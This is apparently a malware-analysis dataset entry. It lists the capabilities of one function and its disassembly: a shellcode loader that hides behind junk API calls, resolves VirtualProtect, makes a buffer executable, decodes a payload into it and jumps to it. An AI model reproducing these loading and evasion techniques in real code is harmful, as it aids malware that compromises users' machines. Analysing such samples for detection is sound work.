Function at 0x401484
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size

Disassembly:
mov eax, 0x42a4ca
call fcn.00429724
sub esp, 0x434
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x4014b2
inc esi
cmp esi, 0x67d12
jl 0x40149b
cmp dword [0x209677c], 0x93
jne 0x401559
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push str.osdfbosdbgbuso
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
call fcn.00402550
pop ecx
lea ecx, [ebp - 0x40]
call fcn.00401844
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004026d8
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x42d154
call fcn.0040209c
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004020f8
or dword [ebp - 4], 0xffffffff
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.0040180c
mov eax, dword [0x44999c]
add dword [0x209677c], 0x1134b
push str.kernel32.dll
mov dword [0x20975b8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x209620c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x209677c]
mov dword [0x2096200], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x209677c]
mov dword [0x2096208], eax
push eax
call dword [0x2096200]
mov esi, 0x1692e
push ebx
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4015b8
cmp dword [0x209677c], ebx
jbe 0x401636
mov eax, dword [0x20975b8]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2096208]
mov byte [ecx + esi], al
cmp dword [0x209677c], 0x490
jne 0x40162d
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc esi
cmp esi, dword [0x209677c]
jb 0x4015de
xor esi, esi
mov eax, dword [0x209677c]
add eax, esi
cmp eax, 0x8d
jne 0x401665
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
inc esi
cmp esi, 0x38681
jl 0x401638
mov eax, dword [0x209677c]
mov ecx, dword [0x2096208]
shr eax, 3
cmp eax, ebx
jbe 0x4016a2
mov esi, ecx
mov edi, eax
cmp dword [0x209677c], 0x959
jne 0x401696
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push esi
call fcn.00401061
add esi, 8
dec edi
jne 0x401684
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4016c3
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2096208], eax
inc esi
cmp esi, 0x674bd
jl 0x4016a4
push 0x7b
pop esi
cmp dword [0x209677c], 0x86
jne 0x4016fc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec esi
jne 0x4016cf
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2096208]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret